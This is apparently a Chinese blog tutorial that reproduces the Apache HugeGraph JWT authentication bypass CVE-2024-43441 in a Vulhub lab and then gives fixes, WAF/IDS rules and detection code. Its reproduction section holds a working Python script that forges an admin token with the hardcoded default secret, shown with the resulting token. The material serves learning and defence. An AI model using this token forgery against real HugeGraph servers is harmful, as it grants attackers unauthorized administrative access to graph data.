手把手教你用Vulhub复现 hugegraph CVE-2024-43441漏洞（附完整POC）

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准备工作

Docker的常用命令

docker compose pull #将远程镜像拉取到本地

docker compose up -d #启动容器，并且不包含下载日志

docker ps            #查看开放端口

docker compose logs  #查看日志

docker compose down  #销毁容器

docker compose build #重启容器

docker compose exec web bash  #进入名为web的服务容器并打开 Bash 终端的命令

漏洞原理分析（Authentication Bypass）

CVE-2024-43441 是一个身份验证绕过漏洞（Authentication Bypass by Assumed-Immutable Data），影响 Apache HugeGraph-Server 1.0.0 到 <1.5.0。攻击者可以利用某些被错误假设为不可变的数据（如固定的 JWT 密钥或逻辑不当的 token 验证流程），绕过正常的认证检查，从而获得未授权访问权限甚至敏感数据操作能力。

该漏洞归类为 CWE-302，即系统错误地使用了假定不可变的数据作为认证凭据，但这些数据实际上可被控制或推测，使得认证逻辑失效。

具体来说，HugeGraph-Server 在 JWT token 或 session 验证逻辑中可能错误信任某些字段（如 secret / claims）不可被篡改，导致攻击者构造伪造认证令牌绕过保护路径，从而访问受保护 API 或资源。

攻击场景流程图（Attack Flow） 下图展示 CVE-2024-43441 的攻击者如何利用身份验证绕过达成未授权访问。

┌───────────────────────────┐
│        Attacker           │
│ (Unauthenticated User)    │
└───────────────┬───────────┘
                │
                │ ① Recon / Fingerprint
                │   (HugeGraph version <=1.4.9)
                ▼
    ┌────────────────────────┐
    │  HugeGraph-Server      │
    │  (Auth Logic Flawed)   │
    └─────────────┬──────────┘
                │
                │ ② Forge JWT / Token
                │   with assumed
                │   immutable data
                ▼
    ┌────────────────────────┐
    │ Auth Bypass Hit        │
    │ Token Accepted         │
    └─────────────┬──────────┘
                │
    Unauthorized API / UI Access
                ▼
    ┌────────────────────────┐
    │  Sensitive Operation   │
    │  Data read / Modify    │
    └────────────────────────┘

图 例 展示了 CVE-2024-43441 的攻击流程。攻击者首先确定目标运行受影响版本的 Apache HugeGraph-Server，然后根据认证逻辑的假定不可变数据构造伪造 JWT / token。由于服务器错误信任这些伪造数据，认证检查被绕过，最终攻击者得以访问原本受保护的敏感 API 或数据。

DFD 威胁建模（Data Flow & STRIDE）

1. DFD Level 0（高层系统视图）

                    Attacker
                       |
      Forged Auth Token |
                       ▼
           Apache HugeGraph Server
                       |
            Authentication Module
                       |
            Authorization Module
                       |
              Graph Data / API Layer

2. DFD Level 1（详细流程）

[External Entity]
   Attacker
       |
       | (1) Send Token / JWT
       v
[Process P1] Token Verification
       |
  Bypassed
       |
[Process P2] Authorization Check
       |
  Bypassed
       |
[Process P3] Data / Admin API
       |
       v
[Data Store] HugeGraph DB

STRIDE 威胁分析

威胁类别	是否存在	说明
Spoofing（伪造）	✅	攻击者伪造认证 token
Tampering（篡改）	⚠️	修改 token payload
Repudiation	⚠️	日志可能显示合法访问
Information Disclosure	✅	数据可被未授权访问
Denial of Service	❌	非主要利用方式
Elevation of Privilege	✅	普通访问升级为高级访问
该漏洞主要体现了 身份伪造和权限提升 风险。STRIDE 模型有助于展示漏洞对安全属性（认证、授权、数据保密性）带来的威胁。

漏洞复现原理图示说明

攻击前后对比 正常认证流程

Client Login
    |
    | (Valid Credentials)
    ▼
HugeGraph Auth Module
    |
    | Verify token against secret
    ▼
Authorized access to API

有漏洞的逻辑路径

Client with forged token
    |
    | Token signature based on assumed immutable data
    ▼
HugeGraph Auth Module
    |
    | Misinterprets token as valid
    ▼
Bypassed Auth → Access API Without Credentials

在正常认证流程中，服务器验证 JWT token 的签名和结构是否与内部 secret/expected claims 匹配。受影响版本错误地假设某些数据不可变或 secret 未被篡改，攻击者借此构造伪造 token，使认证模块“误判”为合法，从而绕过身份验证。

┌─────────────┐    ① 获取可预测/泄露的 JWT secret（或利用弱密钥）
│ 攻击者      │ ──────────────────────────────────────────┐
└─────────────┘                                             │
      │                                                      ▼
      │ ② 构造恶意 JWT payload                              ┌─────────────────┐
      │   （包含高权限角色、任意用户ID）                     │ 生成伪造令牌    │
      │ ──────────────────────────────────────────────────→ │                 │
      │                                                      └─────────────────┘
      │ ③ 使用伪造令牌访问受保护 API                                    │
      │   (如 GET /api/v1/admin/users)                                  │
      │ ───────────────────────────────────────────────────────────────→│
      ▼                                                                 │
┌─────────────────┐                                                     │
│ HugeGraph-Server│ ◄──────────────────────────────────────────────────┘
│ (漏洞版本)      │ ④ 服务器未严格验证 secret 或 claims，误认为令牌合法
└─────────────────┘
      │
      ▼
┌─────────────────┐
│ 授予未授权访问  │
│ 敏感数据泄露    │
└─────────────────┘

漏洞复现

官方提示，如果不使用JWT就会看到粉红色的报错信息。否则，就会返回URL.canParse(token)。

我不明白burpsuite为何抓不到包，可能是代理配置出了点问题。于是打算用yakit试试，这是yakit官方的下载说明书。下载安装与更新配置 | Yak Program Language只需要稍许片刻，就能接着复现了。使用HS256算法和固定密钥FXQXbJtbCLxODc6tGci732pkH1cyf8Qg，造成JWT令牌构造成功。

# Install the jwt library by running `pip install pyjwt`
import jwt

# Generate JWT token using the default secret
token = jwt.encode(
    {
      "user_name": "admin",
      "user_id": "-30:admin",
      "exp": 9739523483
    },
    "FXQXbJtbCLxODc6tGci732pkH1cyf8Qg",
    algorithm="HS256"
)
print(f"Generated JWT token: {token}")
# Output:
# Generated JWT token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX25hbWUiOiJhZG1pbiIsInVzZXJfaWQiOiItMzA6YWRtaW4iLCJleHAiOjk3Mzk1MjM0ODN9.mnafQi6x9nlMz1OcPQu4xAyiq91Ig5tUFhGsktNXKqg

我们使用生成的JWT token，并添加为Authorization: Bearer + JWT_Token参数的形式，便能看到hugegraph相关的信息。

如果不添加Authorization的信息，只会看到与开头相同的报错信息。

这同样印证了添加Authorization一行信息的必要性。

修复建议

修复措施

最直接的解决方案是升级到 Apache HugeGraph-Server ≥ 1.5.0，该版本修复了 CVE-2024-43441 并加强了认证处理逻辑。

如果无法立即升级，可考虑以下缓解措施：

1. 强制验证不可变数据来源 确保用于 token 验证的 secret/key 不可预测且非硬编码；避免依赖假定不可变的数据。应通过安全随机值生成 secret，并在启动时强制检查有效性。
2. 多级认证 在 token 验证之外组合其他认证层（如基于 IP 白名单、MFA 或 RBAC），降低认证控制单点失败风险。

伪代码级修复示例

以下示例演示如何增强 token 验证逻辑（伪代码，示意用途）：

# ❌ 受影响逻辑 （错误假设 token.secret immutable）
def verify_token(token):
    # skip checking some mutable claim
    if token.signature == server_secret:
        return True
    return False

# ✅ 安全修复逻辑
def verify_token(token):
    # validate token structure
    if not is_jwt_format(token):
        return False

    # 1) validate signature with known secret
    if not jwt.verify_signature(token, server_secret):
        return False

    # 2) validate claims (exp, iss, aud)
    if not valid_claims(token):
        return False

    # 3) check revocation / session store
    if is_revoked(token.user):
        return False

    return True

说明：

• 不仅验证 token 签名，还检查有效载荷（claims）和状态（如 token 是否已注销）。
• 不假定某些字段不可变，避免绕过认证。

基于该漏洞的安全检测与防护规则

虽然这类漏洞更多发生在后端认证逻辑内部，但WAF/IDS可通过 异常 token pattern 检测或敏感 API 行为检测 辅助防护。

1. WAF 规则（例：ModSecurity）

规则目标：阻断明显伪造 JWT token 或异常 token usage。

SecRule REQUEST_HEADERS:Authorization "(^Bearer\s+[A-Za-z0-9\-_]+\.[A-Za-z0-9\-_]+\.[A-Za-z0-9\-_]+$)" \
    "chain,phase:2,deny,status:403,\
    msg:'Potential Auth Bypass token pattern (CVE-2024-43441)',severity:CRITICAL"
SecRule MATCHED_VAR "@validateJWTSignature server_secret" \
    "nolog,pass"

✔ 匹配 Authorization Bearer JWT 格式
✔ 检查 token 是否能成功基于 server_secret 验证签名
（注意：需要扩展 WAF 环境支持 JWT 验证插件）

2. IDS/Suricata 规则

alert http any any -> any any (
    msg:"CVE-2024-43441 Auth Bypass suspicious token";
    http.header;
    content:"Authorization: Bearer";
    pcre:"/Bearer\s+[A-Za-z0-9\-_]+\.[A-Za-z0-9\-_]+\.[A-Za-z0-9\-_]+/";
    classtype:authentication-failure;
    sid:202443441;
    rev:1;
)

提示发现伪造或异常 JWT 模式可用于进一步分析。

3. SIEM 检测关联规则（ELK/Splunk）

index=hugegraph_logs
| search status=200 AND method=POST AND uri="/api/*" AND Authorization="Bearer*"
| stats count by src_ip, user_agent
| where count > 10

✔ 监控异常访问模式
✔ 结合成功访问受保护 API 的请求流进行异常检测

基于 Flask 的检测与防护（应用层）

1.1 Flask 中间件：实时请求分析与拦截 部署一个 Flask 应用作为反向代理/API 网关，对每个请求进行预处理，检查 JWT 的有效性和异常行为。

# middleware.py
import jwt
import time
import logging
from flask import request, abort, current_app
from functools import wraps

# 假设我们已知 HugeGraph 的正常 JWT secret（如果可变，则需从环境变量读取）
# 注意：此处仅用于演示，实际 secret 应安全存储
VALID_SECRET = current_app.config.get('HUGE_GRAPH_SECRET', 'your-strong-secret')

# 异常记录（内存简单实现，生产环境建议用Redis）
anomaly_counter = {}

def jwt_auth_middleware(func):
    @wraps(func)
    def decorated(*args, **kwargs):
        auth_header = request.headers.get('Authorization', '')
        if not auth_header.startswith('Bearer '):
            abort(401, description='Missing or invalid Authorization header')
        
        token = auth_header.split(' ')[1]
        client_ip = request.remote_addr

        try:
            # 验证签名和过期时间
            payload = jwt.decode(token, VALID_SECRET, algorithms=['HS256'])
            # 可进一步检查 payload 中的角色、用户ID等是否符合预期
            if 'role' in payload and payload['role'] == 'admin':
                # 可记录管理员操作审计
                pass
        except jwt.ExpiredSignatureError:
            abort(401, description='Token expired')
        except jwt.InvalidTokenError as e:
            # 签名无效，记录异常
            record_anomaly(client_ip, 'invalid_signature')
            abort(401, description='Invalid token')
        
        # 异常频率检测
        if check_rate_limit(client_ip):
            abort(429, description='Too many requests')
        
        # 可选：用户代理、IP地理位置等异常检测（可结合TensorFlow）
        if is_anomalous_behavior(client_ip, token):
            logging.warning(f"Anomaly detected from IP {client_ip}")
            # 可要求二次验证或直接阻止
            abort(403, description='Suspicious request')
        
        return func(*args, **kwargs)
    return decorated

def record_anomaly(ip, reason):
    # 简单记录，可扩展为持久化存储
    key = f"{ip}:{int(time.time()//60)}"  # 每分钟一个桶
    anomaly_counter[key] = anomaly_counter.get(key, 0) + 1

def check_rate_limit(ip, limit=100, window=60):
    # 检查IP在window秒内的请求数
    key = f"{ip}:{int(time.time()//window)}"
    count = anomaly_counter.get(key, 0)
    return count > limit

def is_anomalous_behavior(ip, token):
    # 可调用TensorFlow模型进行评分
    return False

# 在Flask应用中使用该中间件
# @app.before_request
# def before_request():
#     return jwt_auth_middleware(lambda: None)()

1.2 日志监控脚本（Python） 实时分析 HugeGraph 访问日志，发现可疑 JWT 使用模式。

# monitor_logs.py
import re
import sys
from collections import defaultdict
from datetime import datetime, timedelta

LOG_PATTERN = re.compile(
    r'(?P<ip>\d+\.\d+\.\d+\.\d+).*?\[(?P<time>[^\]]+)\].*?'
    r'Authorization: Bearer (?P<token>[^\s]+)'
)

def analyze_log(logfile, window_minutes=5, threshold=50):
    ip_requests = defaultdict(list)
    with open(logfile, 'r') as f:
        for line in f:
            match = LOG_PATTERN.search(line)
            if not match:
                continue
            ip = match.group('ip')
            token = match.group('token')
            # 简化：假设日志中有时间戳，这里省略时间解析
            # 这里仅演示计数
            ip_requests[ip].append(token)
    
    for ip, tokens in ip_requests.items():
        if len(tokens) > threshold:
            print(f"[!] IP {ip} 在日志中出现 {len(tokens)} 次，可能扫描或攻击")
            # 可触发告警

if __name__ == '__main__':
    analyze_log(sys.argv[1])

基于 TensorFlow 的异常行为检测

利用机器学习模型检测 JWT 使用中的异常模式，如：短时间内大量不同用户、非常用地理区域、非典型 User-Agent 等。

2.1 特征工程 从每个请求中提取以下特征：

• 用户ID（来自 JWT payload）
• 请求时间戳（小时、分钟）
• 客户端IP（可转换为地理位置编码、ASN等）
• User-Agent 字符串（长度、是否常见浏览器、是否为脚本）
• 请求路径（是否敏感，如 /api/v1/admin/*）
• 请求方法（GET/POST/PUT/DELETE）
• 同一IP在过去10分钟内的请求数
• 同一用户在过去10分钟内的请求数
• JWT 中 role 的级别（admin/user）
• 该 IP 在过去24小时内是否出现过（新IP标识）

特征向量示例（数值化）：

def extract_features(request, user_history):
    # 假设 user_history 包含该用户过去的行为统计
    features = [
        request.hour,                                    # 0-23
        request.minute,                                  # 0-59
        ip_risk_score(request.ip),                       # 预先计算的IP信誉分
        len(request.user_agent),                          # User-Agent长度
        1 if is_sensitive_path(request.path) else 0,     # 敏感路径标识
        1 if request.method == 'POST' else 0,            # POST请求
        user_history['request_count_last_10min'],        # 最近10分钟请求数
        user_history['ip_count_last_24h'],                # 该用户24小时使用过的IP数
        1 if request.role == 'admin' else 0,              # 管理员角色
        1 if is_known_ip(request.ip) else 0               # IP是否首次出现
    ]
    return features

2.2 模型训练 使用正常业务日志和模拟攻击日志训练一个二分类模型（0=正常，1=异常）。

import numpy as np
import tensorflow as tf
from tensorflow.keras import layers, models
from sklearn.model_selection import train_test_split

# 假设 X_train, y_train 已经准备好
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)

model = models.Sequential([
    layers.Dense(128, activation='relu', input_shape=(X.shape[1],)),
    layers.Dropout(0.3),
    layers.Dense(64, activation='relu'),
    layers.Dropout(0.3),
    layers.Dense(32, activation='relu'),
    layers.Dense(1, activation='sigmoid')
])

model.compile(optimizer='adam',
              loss='binary_crossentropy',
              metrics=['accuracy'])

history = model.fit(X_train, y_train, epochs=20, batch_size=64, validation_split=0.1)

# 保存模型
model.save('hugegraph_anomaly_model.h5')

2.3 集成到 Flask 中间件 在请求处理时实时调用模型预测，若异常概率高于阈值则阻断。

from tensorflow.keras.models import load_model
import numpy as np

model = load_model('hugegraph_anomaly_model.h5')
THRESHOLD = 0.8

def predict_anomaly(features):
    prob = model.predict(np.array([features]))[0][0]
    return prob > THRESHOLD

# 在之前的 jwt_auth_middleware 中调用
if predict_anomaly(features):
    abort(403, description='Suspicious behavior detected')

基于 ModSecurity 的 WAF 规则 在 Apache/NGINX 中部署 ModSecurity，拦截已知攻击模式。 3.1 基础规则：检测 JWT 签名算法篡改尝试

# modsecurity_crs_66_hugegraph_cve_2024_43441.conf

# 规则1：检测 Authorization 头中是否包含 JWT，且算法字段被篡改为 'none'
SecRule REQUEST_HEADERS:Authorization "@rx ^Bearer\s+eyJ[a-zA-Z0-9_-]+\.eyJ[a-zA-Z0-9_-]+\.([a-zA-Z0-9_-]+)?$" \
    "id:1003001,\
    phase:1,\
    capture,\
    t:none,\
    chain,\
    block,\
    msg:'HugeGraph CVE-2024-43441 - JWT with possible algorithm tampering'"
    SecRule MATCHED_VARS "@rx ^([a-zA-Z0-9_-]+)$" \
        "setvar:'tx.jwt_alg=%{tx.1}'"
    SecRule TX:jwt_alg "@streq none" \
        "block,\
        setvar:'tx.anomaly_score=+%{tx.critical_anomaly_score}'"

# 规则2：检测默认或常见弱密钥特征（示例：已知测试密钥）
SecRule REQUEST_HEADERS:Authorization "@rx ^Bearer\s+eyJ[A-Za-z0-9_-]*\.eyJ[A-Za-z0-9_-]*\.[A-Za-z0-9_-]+$" \
    "id:1003002,\
    phase:1,\
    t:none,\
    chain,\
    block,\
    msg:'HugeGraph CVE-2024-43441 - Possibly using weak/default key'"
    # 这里可以使用外部数据文件列出已知弱密钥的JWT签名模式
    SecRule TX:0 "@pmFromFile weak_jwt_signatures.dat" \
        "block,\
        setvar:'tx.anomaly_score=+%{tx.critical_anomaly_score}'"

# 规则3：对敏感API端点进行严格限流
SecRule REQUEST_URI "@beginsWith /api/v1/admin" \
    "id:1003003,\
    phase:1,\
    t:none,\
    ver:'OWASP_CRS/4.0',\
    block,\
    msg:'Admin API access rate limiting',\
    setvar:'tx.admin_access_counter_%{REMOTE_ADDR}=+1',\
    expirevar:'tx.admin_access_counter_%{REMOTE_ADDR}=60'"
SecRule TX:admin_access_counter_%{REMOTE_ADDR} "@gt 10" \
    "id:1003004,\
    phase:1,\
    block,\
    msg:'Too many admin API requests from single IP',\
    severity:'WARNING'"

3.2 部署配置示例（NGINX）

server {
    listen 443 ssl;
    server_name hugegraph.example.com;

    # ModSecurity 配置
    ModSecurityEnabled on;
    ModSecurityConfig /etc/nginx/modsec/modsecurity.conf;

    location / {
        proxy_pass http://hugegraph-backend:8080;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
    }
}

总结:CVE-2024-43441 是一个典型的由不安全假设导致的认证绕过漏洞。通过上述 Flask 中间件、TensorFlow 行为检测和 ModSecurity WAF 的组合，可以在升级之前或作为深度防御措施有效检测和阻止针对该漏洞的攻击。

本文参考,其实就是与官方相似的writeup,即：

1. Vulfocus解题系列 Apache HugeGraph JWT Token硬编码导致权限绕过（CVE-2024-43441） - 技术栈 jishuzhan.net/article/191… 2.CVE-2024-43441 - Vulnerability Details - OpenCVE app.opencve.io/cve/CVE-202… 3.下载安装与更新配置 | Yak Program Language www.yaklang.com/products/do…